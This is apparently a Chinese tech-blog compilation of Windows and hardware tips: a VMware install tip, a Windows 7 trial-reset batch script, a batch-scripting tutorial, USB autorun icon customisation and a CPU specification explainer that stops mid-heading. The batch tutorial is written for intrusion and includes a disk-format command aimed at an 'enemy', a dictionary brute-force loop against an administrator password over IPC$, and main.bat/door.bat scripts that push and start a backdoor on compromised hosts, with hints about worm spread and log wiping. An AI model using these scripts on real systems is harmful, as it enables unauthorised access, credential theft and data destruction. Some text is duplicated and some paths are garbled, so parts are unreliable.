以前一直用VisualBox来虚拟Ubuntu,今天决定换VMware
但是安装好半天,卡在VMware Easy Install界面没反应了,还出现一个Login、Password的登录命令
而且Easy Install安装后是英文界面,而且不分区。
所以我觉得要禁用Easy Install
方法:
在创建的时候,选择“I will install the operating system later”(我将稍后安装操作系统”)
然后手动载入光驱即可
以前一直用VisualBox来虚拟Ubuntu,今天决定换VMware
但是安装好半天,卡在VMware Easy Install界面没反应了,还出现一个Login、Password的登录命令
而且Easy Install安装后是英文界面,而且不分区。
所以我觉得要禁用Easy Install
方法:
在创建的时候,选择“I will install the operating system later”(我将稍后安装操作系统”)
然后手动载入光驱即可
发现有很多人不会从cmd(命令提示符)中复制东西~
现在介绍一种方法:
在cmd窗口右键→标记→选中要复制的东西
再点鼠标右键,此时选中的文本会变成未选中的状态,不过没关系,按下Ctrl+C,information就到你的剪贴板里了~
到目的地去Ctrl+V吧~!
安装window 7后,先试用30天过后,开机它会说试用期已到,开机后发现屏幕变黑,右下角写着“此windows是盗版”
没关系,不用理它,win+R打开“运行”,输入slmgr.vbs /rearm
重启计算机,然后把主题改回来又恢复原貌了
这样使用3次,转眼间到了你安装电脑后的120多天,(一般我用这么久早就重装更新版本的了,重装系统好处多多)
如果你还在继续使用,那么win+R打开“运行”,如数RegEdit打开注册表编辑器
依次找到 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SoftwareProtectionPlatform”
将右侧中的“SkipRearm”键值修改为“1”,就可以再使用“slmgr.vbs /rearm”的命令
这个键值总共可以修改8次,也就是说可以再重复使用8次“slmgr.vbs/rearm”的命令
为了省事,提供一个批处理,不用手动修改注册表:
@echo off
Title 8次系统30天期限重置程序
color 0a
echo.
echo 即将重置系统可用期限注册表,要继续吗?
PAUSE
echo Windows Registry Editor Version 5.00 >> %Temp%
earm.reg
echo.
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSoftwareProtectionPlatform] >> %Temp%
earm.reg
echo.
echo “SkipRearm”=dword:00000001 >> %Temp%
earm.reg
echo.
regedit /s %Temp%
earm.reg
del %Temp%
earm.reg
ClS
color 0b
echo.
echo 注册表已经重置,即将获取30天可用期限,要继续吗?
PAUSE
slmgr.vbs /rearm
color 0e
echo.
pause>nul|echo 30天期限获取完成,按任意键退出。
echo.
如果360天你还没有重装系统,那我也没办法了……
不建议破解激活windows 7,否则会时刻遭受update的威胁
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦 。
Sample:@echo off
@echo Now initializing the program,please wait a minite…
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2就是表示变量。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d: ack
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:ack中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为 1234……
如 : choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下 :
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式 :
a、if “参数” == “字符串” 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如 if “%1″==”a” format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
b 、if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
c 、if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN (“string”) DO command
FOR /F ["options"] %variable IN (‘command’) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN (“string”) DO command
FOR /F ["options"] %variable IN (‘command’) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 “options” 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c – 指一个行注释字符的结尾(就一个 )
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
usebackq – 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:
FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或’Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F “usebackq delims==” %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:
~I – 删除任何引号(“),扩充 %I
%~fI – 将 %I 扩充到一个完全合格的路径名
%~dI – 仅将 %I 扩充到一个驱动器号
%~pI – 仅将 %I 扩充到一个路径
%~nI – 仅将 %I 扩充到一个文件名
%~xI – 仅将 %I 扩充到一个文件扩展名
%~sI – 扩充的路径只含有短名
%~aI – 将 %I 扩充到文件的文件属性
%~tI – 将 %I 扩充到文件的日期/时间
%~zI – 将 %I 扩充到文件的大小
%~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串
可以组合修饰符来得到多重结果:
%~dpI – 仅将 %I 扩充到一个驱动器号和路径
%~nxI – 仅将 %I 扩充到一个文件名和扩展名
%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
%~ftzaI – 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2 :
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \ipipc$ “password” /u:”administrator”来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条: for /f i% in (dict.txt) do net use \ipipc$ “i%” /u:”administrator”
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \ipipc$ “i%%” /u:”administrator”│find “: 命令成功完成”>>D:ok.txt ,这样就ko了。
sample3 :
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
————— cut here then save as a batchfile(I call it main.bat ) —————————
@echo off
@if “%1″==”" goto usage
@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
————— cut here then save as a batchfile(I call it main.bat ) —————————
——————- cut here then save as a batchfile(I call it door.bat) —————————–
@net use \%1ipc$ %3 /u:”%2″
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p*** ec \%1 c:winntsystem32windrv32.exe
@p*** ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
—————– cut here then save as a batchfile(I call it door.bat) ——————————–
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1: fomat.bat
@echo off
if “%1″==”a” format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \1%ipc$ “2%” /u:”3%” 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
看见别人的U盘里的文件夹自定义的图片背景很漂亮还有自定义盘符的图标也很个性是不是想自己也做个?
1.首先选择一个你喜欢的图标,图标的扩展名是【ico】(设文件名为abcde.ico)
2.将这个图标文件拷到U盘,并在U盘中新建一个文本文档
3.在文本文档中写入一下内容:(绿色文字部分)
[autorun]
ICON=abcde.ico,0
4.将这个文本文件另存为
autorun.inf
注意:一定要改成.inf的,而不是原来的.txt。如果改变后,这个文本文件的图标变成了一个带黄色齿轮的,就说明改对了。
拔掉U盘,再插上,你就会发现,U盘图标变成你自己选择的图标。
这种方法还可以用在移动硬盘或者光盘刻录中。
背景自定义:
1.首先选择一个你喜欢的背景图片,把它复制到U盘中。(设文件名为abcde.jpg)
⒉新建文本文件,将下面的内容复制到其中:(绿色文字部分)
[ExtShellFolderViews]
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Image=abcde.jpg
⒊把文本文件另存为Desktop.ini ,修改完成。
刷新一下,就可以看到了。
以上涉及到的四个文件都可以隐藏起来,避免误删。
修改图标后,需要将U盘重新拔插一次,然后才可以看到效果。
背景改完后刷新,就可以看到了。
注:此方法适用,手机SD存储卡 T-flash卡,移动硬盘,MP3,MP4,MP5…等移动存储设备.
1.主频
主频也叫时钟频率,单位是MHz,用来表示CPU的运算速度。CPU的主频=外频×倍频系数。很多人认为主频就决定着CPU的运行速度,这不仅是个片面的,而且对于服务器来讲,这个认识也出现了偏差。至今,没有一条确定的公式能够实现主频和实际的运算速度两者之间的数值关系,即使是两大处理器厂家Intel和AMD,在这点上也存在着很大的争议,我们从Intel的产品的发展趋势,可以看出Intel很注重加强自身主频的发展。像其他的处理器厂家,有人曾经拿过一快1G的全美达来做比较,它的运行效率相当于2G的Intel处理器。
所以,CPU的主频与CPU实际的运算能力是没有直接关系的,主频表示在CPU内数字脉冲信号震荡的速度。在Intel的处理器产品中,我们也可以看到这样的例子:1 GHz Itanium芯片能够表现得差不多跟2.66 GHz Xeon/Opteron一样快,或是1.5 GHz Itanium 2大约跟4 GHz Xeon/Opteron一样快。CPU的运算速度还要看CPU的流水线的各方面的性能指标。
当然,主频和实际的运算速度是有关的,只能说主频仅仅是CPU性能表现的一个方面,而不代表CPU的整体性能。
2.外频
外频是CPU的基准频率,单位也是MHz。CPU的外频决定着整块主板的运行速度。说白了,在台式机中,我们所说的超频,都是超CPU的外频(当然一般情况下,CPU的倍频都是被锁住的)相信这点是很好理解的。但对于服务器CPU来讲,超频是绝对不允许的。前面说到CPU决定着主板的运行速度,两者是同步运行的,如果把服务器CPU超频了,改变了外频,会产生异步运行,(台式机很多主板都支持异步运行)这样会造成整个服务器系统的不稳定。
目前的绝大部分电脑系统中外频也是内存与主板之间的同步运行的速度,在这种方式下,可以理解为CPU的外频直接与内存相连通,实现两者间的同步运行状态。外频与前端总线(FSB)频率很容易被混为一谈,下面的前端总线介绍我们谈谈两者的区别。
3.前端总线(FSB)频率
前端总线(FSB)频率(即总线频率)是直接影响CPU与内存直接数据交换速度。有一条公式可以计算,即数据带宽=(总线频率×数据带宽)/8,数据传输最大带宽取决于所有同时传输的数据的宽度和传输频率。比方,现在的支持64位的至强Nocona,前端总线是800MHz,按照公式,它的数据传输最大带宽是6.4GB/秒。
外频与前端总线(FSB)频率的区别:前端总线的速度指的是数据传输的速度,外频是CPU与主板之间同步运行的速度。也就是说,100MHz外频特指数字脉冲信号在每秒钟震荡一千万次;而100MHz前端总线指的是每秒钟CPU可接受的数据传输量是100MHz×64bit÷8Byte/bit=800MB/s。
其实现在“HyperTransport”构架的出现,让这种实际意义上的前端总线(FSB)频率发生了变化。之前我们知道IA-32架构必须有三大重要的构件:内存控制器Hub (MCH) ,I/O控制器Hub和PCI Hub,像Intel很典型的芯片组 Intel 7501、Intel7505芯片组,为双至强处理器量身定做的,它们所包含的MCH为CPU提供了频率为533MHz的前端总线,配合DDR内存,前端总线带宽可达到4.3GB/秒。但随着处理器性能不断提高同时给系统架构带来了很多问题。而“HyperTransport”构架不但解决了问题,而且更有效地提高了总线带宽,比方AMD Opteron处理器,灵活的HyperTransport I/O总线体系结构让它整合了内存控制器,使处理器不通过系统总线传给芯片组而直接和内存交换数据。这样的话,前端总线(FSB)频率在AMD Opteron处理器就不知道从何谈起了。
4、CPU的位和字长
位:在数字电路和电脑技术中采用二进制,代码只有“0”和“1”,其中无论是 “0”或是“1”在CPU中都是 一“位”。
字长:电脑技术中对CPU在单位时间内(同一时间)能一次处理的二进制数的位数叫字长。所以能处理字长为8位数据的CPU通常就叫8位的CPU。同理32位的CPU就能在单位时间内处理字长为32位的二进制数据。字节和字长的区别:由于常用的英文字符用8位二进制就可以表示,所以通常就将8位称为一个字节。字长的长度是不固定的,对于不同的CPU、字长的长度也不一样。8位的CPU一次只能处理一个字节,而32位的CPU一次就能处理4个字节,同理字长为64位的CPU一次可以处理8个字节。
5.倍频系数
倍频系数是指CPU主频与外频之间的相对比例关系。在相同的外频下,倍频越高CPU的频率也越高。但实际上,在相同外频的前提下,高倍频的CPU本身意义并不大。这是因为CPU与系统之间数据传输速度是有限的,一味追求高倍频而得到高主频的CPU就会出现明显的“瓶颈”效应—CPU从系统中得到数据的极限速度不能够满足CPU运算的速度。一般除了工程样版的Intel的CPU都是锁了倍频的,而AMD之前都没有锁。
6.缓存
缓存大小也是CPU的重要指标之一,而且缓存的结构和大小对CPU速度的影响非常大,CPU内缓存的运行频率极高,一般是和处理器同频运作,工作效率远远大于系统内存和硬盘。实际工作时,CPU往往需要重复读取同样的数据块,而缓存容量的增大,可以大幅度提升CPU内部读取数据的命中率,而不用再到内存或者硬盘上寻找,以此提高系统性能。但是由于CPU芯片面积和成本的因素来考虑,缓存都很小。
L1 Cache(一级缓存)是CPU第一层高速缓存,分为数据缓存和指令缓存。内置的L1高速缓存的容量和结构对CPU的性能影响较大,不过高速缓冲存储器均由静态RAM组成,结构较复杂,在CPU管芯面积不能太大的情况下,L1级高速缓存的容量不可能做得太大。一般服务器CPU的L1缓存的容量通常在32—256KB。
L2 Cache(二级缓存)是CPU的第二层高速缓存,分内部和外部两种芯片。内部的芯片二级缓存运行速度与主频相同,而外部的二级缓存则只有主频的一半。L2高速缓存容量也会影响CPU的性能,原则是越大越好,现在家庭用CPU容量最大的是512KB,而服务器和工作站上用CPU的L2高速缓存更高达256-1MB,有的高达2MB或者3MB。
L3 Cache(三级缓存),分为两种,早期的是外置,现在的都是内置的。而它的实际作用即是,L3缓存的应用可以进一步降低内存延迟,同时提升大数据量计算时处理器的性能。降低内存延迟和提升大数据量计算能力对游戏都很有帮助。而在服务器领域增加L3缓存在性能方面仍然有显著的提升。比方具有较大L3缓存的配置利用物理内存会更有效,故它比较慢的磁盘I/O子系统可以处理更多的数据请求。具有较大L3缓存的处理器提供更有效的文件系统缓存行为及较短消息和处理器队列长度。
其实最早的L3缓存被应用在AMD发布的K6-III处理器上,当时的L3缓存受限于制造工艺,并没有被集成进芯片内部,而是集成在主板上。在只能够和系统总线频率同步的L3缓存同主内存其实差不了多少。后来使用L3缓存的是英特尔为服务器市场所推出的Itanium处理器。接着就是P4EE和至强MP。Intel还打算推出一款9MB L3缓存的Itanium2处理器,和以后24MB L3缓存的双核心Itanium2处理器。
但基本上L3缓存对处理器的性能提高显得不是很重要,比方配备1MB L3缓存的Xeon MP处理器却仍然不是Opteron的对手,由此可见前端总线的增加,要比缓存增加带来更有效的性能提升。
7.CPU扩展指令集
CPU依靠指令来计算和控制系统,每款CPU在设计时就规定了一系列与其硬件电路相配合的指令系统。指令的强弱也是CPU的重要指标,指令集是提高微处理器效率的最有效工具之一。从现阶段的主流体系结构讲,指令集可分为复杂指令集和精简指令集两部分,而从具体运用看,如Intel的MMX(Multi Media Extended)、SSE、 SSE2(Streaming-Single instruction multiple data-Extensions 2)、SEE3和AMD的3DNow!等都是CPU的扩展指令集,分别增强了CPU的多媒体、图形图象和Internet等的处理能力。我们通常会把CPU的扩展指令集称为”CPU的指令集”。SSE3指令集也是目前规模最小的指令集,此前MMX包含有57条命令,SSE包含有50条命令,SSE2包含有144条命令,SSE3包含有13条命令。目前SSE3也是最先进的指令集,英特尔Prescott处理器已经支持SSE3指令集,AMD会在未来双核心处理器当中加入对SSE3指令集的支持,全美达的处理器也将支持这一指令集。
8.CPU内核和I/O工作电压
从586CPU开始,CPU的工作电压分为内核电压和I/O电压两种,通常CPU的核心电压小于等于I/O电压。其中内核电压的大小是根据CPU的生产工艺而定,一般制作工艺越小,内核工作电压越低;I/O电压一般都在1.6~5V。低电压能解决耗电过大和发热过高的问题。
9.制造工艺
制造工艺的微米是指IC内电路与电路之间的距离。制造工艺的趋势是向密集度愈高的方向发展。密度愈高的IC电路设计,意味着在同样大小面积的IC中,可以拥有密度更高、功能更复杂的电路设计。现在主要的180nm、130nm、90nm。最近官方已经表示有65nm的制造工艺了。
10.指令集
(1)CISC指令集
CISC指令集,也称为复杂指令集,英文名是CISC,(Complex Instruction Set Computer的缩写)。在CISC微处理器中,程序的各条指令是按顺序串行执行的,每条指令中的各个操作也是按顺序串行执行的。顺序执行的优点是控制简单,但计算机各部分的利用率不高,执行速度慢。其实它是英特尔生产的x86系列(也就是IA-32架构)CPU及其兼容CPU,如AMD、VIA的。即使是现在新起的X86-64(也被成AMD64)都是属于CISC的范畴。
要知道什么是指令集还要从当今的X86架构的CPU说起。X86指令集是Intel为其第一块16位CPU(i8086)专门开发的,IBM1981年推出的世界第一台PC机中的CPU—i8088(i8086简化版)使用的也是X86指令,同时电脑中为提高浮点数据处理能力而增加了X87芯片,以后就将X86指令集和X87指令集统称为X86指令集。
虽然随着CPU技术的不断发展,Intel陆续研制出更新型的i80386、i80486直到过去的PII至强、PIII至强、Pentium 3,最后到今天的Pentium 4系列、至强(不包括至强Nocona),但为了保证电脑能继续运行以往开发的各类应用程序以保护和继承丰富的软件资源,所以Intel公司所生产的所有CPU仍然继续使用X86指令集,所以它的CPU仍属于X86系列。由于Intel X86系列及其兼容CPU(如AMD Athlon MP、)都使用X86指令集,所以就形成了今天庞大的X86系列及兼容CPU阵容。x86CPU目前主要有intel的服务器CPU和AMD的服务器CPU两类。
(2)RISC指令集
RISC是英文“Reduced Instruction Set Computing ” 的缩写,中文意思是“精简指令集”。它是在CISC指令系统基础上发展起来的,有人对CISC机进行测试表明,各种指令的使用频度相当悬殊,最常使用的是一些比较简单的指令,它们仅占指令总数的20%,但在程序中出现的频度却占80%。复杂的指令系统必然增加微处理器的复杂性,使处理器的研制时间长,成本高。并且复杂指令需要复杂的操作,必然会降低计算机的速度。基于上述原因,20世纪80年代RISC型CPU诞生了,相对于CISC型CPU ,RISC型CPU不仅精简了指令系统,还采用了一种叫做“超标量和超流水线结构”,大大增加了并行处理能力。RISC指令集是高性能CPU的发展方向。它与传统的CISC(复杂指令集)相对。相比而言,RISC的指令格式统一,种类比较少,寻址方式也比复杂指令集少。当然处理速度就提高很多了。目前在中高档服务器中普遍采用这一指令系统的CPU,特别是高档服务器全都采用RISC指令系统的CPU。RISC指令系统更加适合高档服务器的操作系统UNIX,现在Linux也属于类似UNIX的操作系统。RISC型CPU与Intel和AMD的CPU在软件和硬件上都不兼容。
目前,在中高档服务器中采用RISC指令的CPU主要有以下几类:PowerPC处理器、SPARC处理器、PA-RISC处理器、MIPS处理器、Alpha处理器。
(3)IA-64
EPIC(Explicitly Parallel Instruction Computers,精确并行指令计算机)是否是RISC和CISC体系的继承者的争论已经有很多,单以EPIC体系来说,它更像Intel的处理器迈向RISC体系的重要步骤。从理论上说,EPIC体系设计的CPU,在相同的主机配置下,处理Windows的应用软件比基于Unix下的应用软件要好得多。
Intel采用EPIC技术的服务器CPU是安腾Itanium(开发代号即Merced)。它是64位处理器,也是IA-64系列中的第一款。微软也已开发了代号为Win64的操作系统,在软件上加以支持。在Intel采用了X86指令集之后,它又转而寻求更先进的64-bit微处理器,Intel这样做的原因是,它们想摆脱容量巨大的x86架构,从而引入精力充沛而又功能强大的指令集,于是采用EPIC指令集的IA-64架构便诞生了。IA-64 在很多方面来说,都比x86有了长足的进步。突破了传统IA32架构的许多限制,在数据的处理能力,系统的稳定性、安全性、可用性、可观理性等方面获得了突破性的提高。
IA-64微处理器最大的缺陷是它们缺乏与x86的兼容,而Intel为了IA-64处理器能够更好地运行两个朝代的软件,它在IA-64处理器上(Itanium、Itanium2 ……)引入了x86-to-IA-64的解码器,这样就能够把x86指令翻译为IA-64指令。这个解码器并不是最有效率的解码器,也不是运行x86代码的最好途径(最好的途径是直接在x86处理器上运行x86代码),因此Itanium 和Itanium2在运行x86应用程序时候的性能非常糟糕。这也成为X86-64产生的根本原因。
(4)X86-64 (AMD64 / EM64T)
AMD公司设计,可以在同一时间内处理64位的整数运算,并兼容于X86-32架构。其中支持64位逻辑定址,同时提供转换为32位定址选项;但数据操作指令默认为32位和8位,提供转换成64位和16位的选项;支持常规用途寄存器,如果是32位运算操作,就要将结果扩展成完整的64位。这样,指令中有“直接执行”和“转换执行”的区别,其指令字段是8位或32位,可以避免字段过长。
x86-64(也叫AMD64)的产生也并非空穴来风,x86处理器的32bit寻址空间限制在4GB内存,而IA-64的处理器又不能兼容x86。AMD充分考虑顾客的需求,加强x86指令集的功能,使这套指令集可同时支持64位的运算模式,因此AMD把它们的结构称之为x86-64。在技术上AMD在x86-64架构中为了进行64位运算,AMD为其引入了新增了R8-R15通用寄存器作为原有X86处理器寄存器的扩充,但在而在32位环境下并不完全使用到这些寄存器。原来的寄存器诸如EAX、EBX也由32位扩张至64位。在SSE单元中新加入了8个新寄存器以提供对SSE2的支持。寄存器数量的增加将带来性能的提升。与此同时,为了同时支持32和64位代码及寄存器,x86-64架构允许处理器工作在以下两种模式:Long Mode(长模式)和Legacy Mode(遗传模式),Long模式又分为两种子模式(64bit模式和Compatibility mode兼容模式)。该标准已经被引进在AMD服务器处理器中的Opteron处理器。
而今年也推出了支持64位的EM64T技术,再还没被正式命为EM64T之前是IA32E,这是英特尔64位扩展技术的名字,用来区别X86指令集。Intel的EM64T支持64位sub-mode,和AMD的X86-64技术类似,采用64位的线性平面寻址,加入8个新的通用寄存器(GPRs),还增加8个寄存器支持SSE指令。与AMD相类似,Intel的64位技术将兼容IA32和IA32E,只有在运行64位操作系统下的时候,才将会采用IA32E。IA32E将由2个sub-mode组成:64位sub-mode和32位sub-mode,同AMD64一样是向下兼容的。Intel的EM64T将完全兼容AMD的X86-64技术。现在Nocona处理器已经加入了一些64位技术,Intel的Pentium 4E处理器也支持64位技术。
应该说,这两者都是兼容x86指令集的64位微处理器架构,但EM64T与AMD64还是有一些不一样的地方,AMD64处理器中的NX位在Intel的处理器中将没有提供。
11.超流水线与超标量
